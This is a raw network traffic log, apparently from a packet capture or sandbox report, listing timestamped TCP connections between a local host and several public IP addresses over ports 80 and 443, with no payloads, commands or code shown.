Nov 17, 2024 03:42:37.089514017 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.089524031 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.089529037 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.092458010 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.092495918 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.092786074 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.092991114 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.093007088 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.094240904 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.094290972 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.094572067 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.094712019 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.094739914 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.106489897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106522083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106561899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.106591940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.106775045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106805086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106854916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106889009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106909990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.106918097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106951952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106959105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.106986046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.106995106 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107018948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107038021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107053041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107085943 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107098103 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107131958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107136965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107170105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107204914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107218981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107238054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107254028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107287884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107290030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107332945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107352972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107388973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107422113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107435942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107456923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107470036 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107491016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.107506037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.107534885 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.127329111 CET	443	49832	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.127389908 CET	49832	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.224246025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224272966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224358082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.224607944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224658966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224708080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224729061 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.224756956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224759102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.224786043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224845886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.224898100 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224927902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224956989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.224958897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225001097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225128889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225158930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225195885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225203991 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225233078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225255966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225398064 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225428104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225459099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225482941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225490093 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225516081 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225549936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225822926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225879908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225895882 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225924015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225954056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.225975037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.225982904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.226012945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.226022005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.226046085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.226068020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.234572887 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.234602928 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.234838963 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.235049009 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.235084057 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.235548973 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.236179113 CET	49839	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.236193895 CET	443	49839	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.236452103 CET	49840	443	192.168.2.5	172.64.41.3
Nov 17, 2024 03:42:37.236466885 CET	443	49840	172.64.41.3	192.168.2.5
Nov 17, 2024 03:42:37.328233957 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.330342054 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.330359936 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.331155062 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.331161022 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.341058969 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.341906071 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.341928005 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.342467070 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.342473984 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.343135118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343149900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343391895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343425989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343441010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343450069 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343451977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343462944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343493938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343528032 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343549013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343571901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343602896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343633890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343714952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343727112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343738079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343764067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343801022 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.343947887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343960047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343971014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.343981981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344001055 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.344053984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.344352961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344369888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344382048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344392061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344403028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344436884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.344465017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.344841003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344851971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344861984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344872952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344883919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.344912052 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.344950914 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.455008984 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.455167055 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.455324888 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.455593109 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.455611944 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.455657005 CET	49833	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.455663919 CET	443	49833	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.459021091 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.459053993 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.459359884 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.459621906 CET	49841	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.459638119 CET	443	49841	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.462162018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462235928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462268114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462318897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462368965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462388992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462399960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462424040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462450981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462502956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462512970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462522984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462551117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462587118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462744951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462755919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462766886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462809086 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462850094 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.462850094 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.462897062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463035107 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463043928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463092089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463176012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463186979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463205099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463215113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463226080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463227987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463251114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463288069 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463640928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463651896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463661909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463680029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463690042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463701010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.463711023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463735104 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.463757992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.471862078 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.471997023 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.472142935 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.472182989 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.472193003 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.472204924 CET	49834	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.472208977 CET	443	49834	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.474864006 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.474891901 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.475567102 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.475717068 CET	49842	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:37.475732088 CET	443	49842	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:37.582328081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582417965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582474947 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582602978 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582663059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582674026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582684994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582726955 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582767963 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582827091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582838058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582849979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582861900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.582882881 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582937002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.582993984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583045959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583185911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583197117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583213091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583237886 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583264112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583501101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583513021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583524942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583534956 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583547115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583563089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583595991 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583651066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583662987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583673000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583683014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583693981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.583720922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.583745003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.584461927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.584620953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.584692001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.680380106 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.680388927 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.680474997 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.680809975 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.680861950 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.680936098 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681045055 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681078911 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.681147099 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681231022 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681241989 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.681369066 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681379080 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.681478024 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681610107 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681649923 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681691885 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.681898117 CET	49843	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.681907892 CET	443	49843	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.681943893 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682055950 CET	49844	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682076931 CET	443	49844	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.682193995 CET	49845	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682209969 CET	443	49845	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.682369947 CET	49846	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682388067 CET	443	49846	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.682502031 CET	49847	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682521105 CET	443	49847	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.682734966 CET	49848	443	192.168.2.5	13.107.246.57
Nov 17, 2024 03:42:37.682751894 CET	443	49848	13.107.246.57	192.168.2.5
Nov 17, 2024 03:42:37.700000048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700081110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700197935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700252056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700280905 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700339079 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700347900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700403929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700403929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700403929 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700411081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700429916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700439930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700479031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700510025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700684071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700695038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700706005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700716019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700726986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.700741053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.700781107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701100111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701111078 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701121092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701149940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701189041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701333046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701350927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701360941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701370955 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701380968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701406002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701474905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701713085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701725006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701767921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701780081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701791048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.701797962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.701831102 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.702001095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.702167034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.702178001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:37.702255011 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:37.757380009 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.757714987 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.757747889 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.758240938 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.758306980 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.759226084 CET	443	49835	40.118.171.167	192.168.2.5
Nov 17, 2024 03:42:37.759299994 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.760627031 CET	49835	443	192.168.2.5	40.118.171.167
Nov 17, 2024 03:42:37.760710955 CET	443	49835	40.118.171.167	192.168.2.5
